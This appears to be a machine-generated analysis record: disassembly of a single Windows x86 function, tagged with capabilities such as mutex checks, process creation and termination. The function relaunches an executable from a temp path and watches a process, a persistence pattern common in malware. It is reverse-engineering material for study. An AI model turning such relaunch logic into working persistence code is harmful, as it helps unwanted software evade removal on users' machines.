Function at 0x41227e
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push ebx
push esi
mov dword [ebp - 4], ecx
mov ecx, 0x474400
push edi
call fcn.00401fab
push eax
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
jne 0x4122af
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x474320
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
push 0x208
lea eax, [ebp - 0x228]
mov edi, 0x4742d8
push eax
push str.exepath
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.004132a6
add esp, 0x14
test al, al
jne 0x4122f2
push ebx
jmp 0x4122a9
lea ecx, [ebp - 0x1c]
call fcn.004020df
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x228]
call fcn.0041bf1a
push ebx
test al, al
je 0x4122a9
push 0x80
push 3
push ebx
push 1
push closesocket
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [ebp - 4]
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x46b4cc
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.00413425
pop ecx
pop ecx
test al, al
je 0x4122a7
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea eax, [ebp - 0x228]
jne 0x41243f
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0041be86
pop ecx
pop ecx
test al, al
je 0x4123bd
lea eax, [ebp - 0x228]
jmp 0x41243f
push 0x208
lea eax, [ebp - 0x638]
push ebx
push eax
call fcn.004368a0
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x430]
push eax
push ebx
push str.temp_
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0041be86
pop ecx
pop ecx
test al, al
je 0x41244c
lea eax, [ebp - 0x430]
push 1
push ebx
push ebx
push eax
push 0x4650f8
push ebx
call edi
mov esi, 0x4742d8
lea eax, [ebp - 4]
mov ecx, esi
push eax
push 0x46638c
call fcn.00401fab
mov edx, eax
call fcn.004130f7
mov bl, al
pop ecx
pop ecx
test bl, bl
je 0x412486
push 0x46638c
mov ecx, esi
call fcn.00401fab
mov edx, eax
call fcn.00413557
pop ecx
jmp 0x412491
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
test bl, bl
je 0x412451
push dword [ebp - 4]
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x46b4cc
mov ecx, 0x4742d8
call fcn.00401fab
mov edx, eax
call fcn.00413425
pop ecx
pop ecx
test al, al
jne 0x412374
jmp 0x4122a7